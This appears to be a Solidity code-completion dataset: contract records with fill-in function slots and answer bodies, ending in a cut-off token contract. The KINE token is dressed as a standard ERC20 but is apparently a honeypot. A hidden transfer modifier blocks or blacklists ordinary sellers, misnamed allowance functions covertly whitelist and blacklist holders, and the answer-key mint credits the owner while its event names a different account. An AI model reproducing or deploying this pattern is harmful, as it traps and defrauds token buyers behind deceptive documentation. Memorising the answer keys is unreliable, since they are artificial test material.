contract SingleCreatorControl { // The single allowed creator for this digital media contract. address public singleCreatorAddress; // The single creator has changed. event SingleCreatorChanged( address indexed previousCreatorAddress, address indexed newCreatorAddress); /** * Sets the single creator associated with this contract. This function * can only ever be called once, and should ideally be called at the point * of constructing the smart contract. */ function setSingleCreator(address _singleCreatorAddress) internal { require(singleCreatorAddress == address(0), "Single creator address already set."); singleCreatorAddress = _singleCreatorAddress; } /** * Checks whether a given creator address matches the single creator address. * Will always return true if a single creator address was never set. */ function isAllowedSingleCreator(address _creatorAddress) internal view returns (bool) {<FILL_FUNCTION_BODY> } /** * A publicly accessible function that allows the current single creator * assigned to this contract to change to another address. */ function changeSingleCreator(address _newCreatorAddress) public { require(_newCreatorAddress != address(0)); require(msg.sender == singleCreatorAddress, "Not approved to change single creator."); singleCreatorAddress = _newCreatorAddress; emit SingleCreatorChanged(singleCreatorAddress, _newCreatorAddress); } }
contract SingleCreatorControl { // The single allowed creator for this digital media contract. address public singleCreatorAddress; // The single creator has changed. event SingleCreatorChanged( address indexed previousCreatorAddress, address indexed newCreatorAddress); /** * Sets the single creator associated with this contract. This function * can only ever be called once, and should ideally be called at the point * of constructing the smart contract. */ function setSingleCreator(address _singleCreatorAddress) internal { require(singleCreatorAddress == address(0), "Single creator address already set."); singleCreatorAddress = _singleCreatorAddress; } <FILL_FUNCTION> /** * A publicly accessible function that allows the current single creator * assigned to this contract to change to another address. */ function changeSingleCreator(address _newCreatorAddress) public { require(_newCreatorAddress != address(0)); require(msg.sender == singleCreatorAddress, "Not approved to change single creator."); singleCreatorAddress = _newCreatorAddress; emit SingleCreatorChanged(singleCreatorAddress, _newCreatorAddress); } }
require(_creatorAddress != address(0), "0x0 creator addresses are not allowed."); return singleCreatorAddress == address(0) || singleCreatorAddress == _creatorAddress;
function isAllowedSingleCreator(address _creatorAddress) internal view returns (bool)
/** * Checks whether a given creator address matches the single creator address. * Will always return true if a single creator address was never set. */ function isAllowedSingleCreator(address _creatorAddress) internal view returns (bool)
748
KINE
_mint
contract KINE is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public {<FILL_FUNCTION_BODY> } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract KINE is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } <FILL_FUNCTION> /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount);
function _mint(address account, uint256 amount) public
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public
51906
Bullwinkle
_approve
contract Bullwinkle is Context, IERC20, Ownable, ReentrancyGuard { // Import our libraries using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; // Mapping and addressSets mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedFromReward; EnumerableSet.AddressSet private _excludedFromSellLock; mapping (address => uint256) private _sellLock; EnumerableSet.AddressSet private _excludedFromBuyLock; mapping (address => uint256) private _buyLock; address[] private _excludedFromReward; // Addresses address Marketing_ADDRESS = 0xCE303fb3D4Ca4304De67E5753f130D905550d4A0; address private constant ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Token name string private _name = "Bullwinkle"; string private _symbol = "BWK"; // Decimals uint8 private _decimals = 9; // Max supply // @note: 10**9 means a 1 with 9 zeroes. // @note: 1 * 10**9 is 1 with 9 decimals. uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1500000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); // Max Wallet in tokens uint256 public _maxWalletSize = 9000000000000000 * 10**9; // Buy tax in percentage /* Marketing fee includes development fees(2%) charity fees (2%) and marketing fees (6%) itself MarketingFeeBuy = developmentFeeBuy + charityFeeBuy + marketingFeeBuy 10 = 2 + 2 + 6 */ uint256 private MarketingFeeBuy = 10; uint256 private liquidityFeeBuy = 2; uint256 private rewardFeeBuy = 2; uint256 private totalFeeBuy = 14; // Sell tax in percentage /* Marketing fee includes development fees(2%) charity fees (2%) and marketing fees (17%) itself MarketingFeeSell = developmentFee + charityFee + marketingFeeSell 21 = 2 + 2 + 17 */ uint256 private MarketingFeeSell = 21 ; uint256 private liquidityFeeSell = 2; uint256 private rewardFeeSell = 2 ; uint256 private totalFeeSell = 25; uint256 private _tHODLrRewardsTotal; uint256 private _rewardFee; uint256 private _previousRewardFee; uint256 private _MarketingFee; uint256 private _previousMarketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; event TransferBurn(address indexed from, address indexed burnAddress, uint256 value); /* Constructor */ constructor() { _rOwned[_msgSender()] = _rTotal; // Setup Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(ROUTER_ADDRESS); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; // Exclude _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromReward[address(this)] = true; _isExcludedFromFee[Marketing_ADDRESS] = true; _isExcludedFromReward[Marketing_ADDRESS] = true; emit Transfer(address(0), _msgSender(), _tTotal); } bool public tradingEnabled; /** * All of our read functions */ // Get token name function name() public view returns (string memory) { return _name; } // Get token ticker function symbol() public view returns (string memory) { return _symbol; } // Get decimals function decimals() public view returns (uint8) { return _decimals; } // Get total supply function totalSupply() public view override returns (uint256) { return _tTotal; } // Get balance of address function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromReward[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } // Get allowance function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } // Get all the buy fees function getAllBuyFees() public view returns (uint256 _liquidityFeeBuy, uint256 _MarketingFeeBuy, uint256 _rewardFeeBuy){ return (liquidityFeeBuy, MarketingFeeBuy, rewardFeeBuy); } // Get all the sell fees function getAllSellFees() public view returns (uint256 _liquidityFeeSell, uint256 _MarketingFeeSell, uint256 _rewardFeeSell){ return (liquidityFeeSell, MarketingFeeSell, rewardFeeSell); } // Get HODLr rewards function totalHODLrRewards() public view returns (uint256) { return _tHODLrRewardsTotal; } // Get reflections from token function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount); return rTransferAmount; } } // Get tokens from reflection function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } // Get if an address is excluded from rewards function isExcludedFromReward(address account) public view returns (bool) { return _isExcludedFromReward[account]; } // Get if an address is excluded from fees function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } /** * All of our write functions */ // Withdraw from account function withdraw() external onlyOwner nonReentrant { uint256 balance = IERC20(address(this)).balanceOf(address(this)); IERC20(address(this)).transfer(msg.sender, balance); payable(msg.sender).transfer(address(this).balance); } // Transfer tokens function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } // Approve and address function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } // TransferFrom function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } // Increase allowance to spend function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } // Decrease allowance to spend function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // Deliver function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcludedFromReward[sender], "Excluded addresses cannot call this function"); (uint256 rAmount, , , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tHODLrRewardsTotal = _tHODLrRewardsTotal.add(tAmount); } // Exclude and address from rewards function excludeFromReward(address account) public onlyOwner { require(!_isExcludedFromReward[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromReward[account] = true; _excludedFromReward.push(account); } // Include an address from rewards function includeInReward(address account) external onlyOwner { require(_isExcludedFromReward[account], "Account is already excluded"); for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_excludedFromReward[i] == account) { _excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1]; _tOwned[account] = 0; _isExcludedFromReward[account] = false; _excludedFromReward.pop(); break; } } } // Exclude an address from the fees function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } // Include an address in the fees function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } // Sets all the buy taxes, cant be higher than the max function setBuyFeesInPercentage(uint256 _liquidityFeeBuy, uint256 _MarketingFeeBuy, uint256 _rewardFeeBuy) external onlyOwner { liquidityFeeBuy = _liquidityFeeBuy; MarketingFeeBuy = _MarketingFeeBuy; rewardFeeBuy = _rewardFeeBuy; totalFeeBuy = _liquidityFeeBuy.add(_MarketingFeeBuy).add(_rewardFeeBuy); } // Sets all the sell taxes, needs to be lower than the max function setSellFeesInPercentage(uint256 _liquidityFeeSell, uint256 _MarketingFeeSell, uint256 _rewardFeeSell) external onlyOwner { liquidityFeeSell = _liquidityFeeSell; MarketingFeeSell = _MarketingFeeSell; rewardFeeSell = _rewardFeeSell; totalFeeSell = _liquidityFeeSell.add(_MarketingFeeSell).add(_rewardFeeSell); } // Set the max sell tx percentage // TODO: Make this work with decimals or tokens instead of percentage // Set the max buy tx percentage // TODO: Make this work with decimals or tokens instead of percentage // Set the max wallet percentage // TODO: Make this work with decimals or tokens instead of percentage function setMaxWalletPercent(uint256 maxWalletPercent) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletPercent).div(10**2); } // Enable trading // @note: Can't disable trading after enabling function openTheGates() public onlyOwner{ tradingEnabled = true; } /** * Private functions */ receive() external payable {} function _HODLrFee(uint256 rHODLrFee, uint256 tHODLrFee) private { _rTotal = _rTotal.sub(rHODLrFee); _tHODLrRewardsTotal = _tHODLrRewardsTotal.add(tHODLrFee); } // TODO: We should find a contract using seperate taxes (liquidity/reflection and burn) for // buying and selling. function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee) = _getRValues(tAmount, tHODLrFee, tMarketing, _getRate(), tLiquidity); return (rAmount, rTransferAmount, rHODLrFee, tTransferAmount, tHODLrFee, tMarketing, tLiquidity); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256 ) { uint256 tHODLrFee = calculateRewardFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tHODLrFee).sub(tMarketing).sub(tLiquidity); return (tTransferAmount, tHODLrFee, tMarketing, tLiquidity ); } function _getRValues( uint256 tAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 currentRate, uint256 tLiquidity ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rHODLrFee = tHODLrFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rHODLrFee).sub(rMarketing).sub(rLiquidity); return (rAmount, rTransferAmount, rHODLrFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_rOwned[_excludedFromReward[i]] > rSupply || _tOwned[_excludedFromReward[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excludedFromReward[i]]); tSupply = tSupply.sub(_tOwned[_excludedFromReward[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcludedFromFee[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateRewardFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_rewardFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return 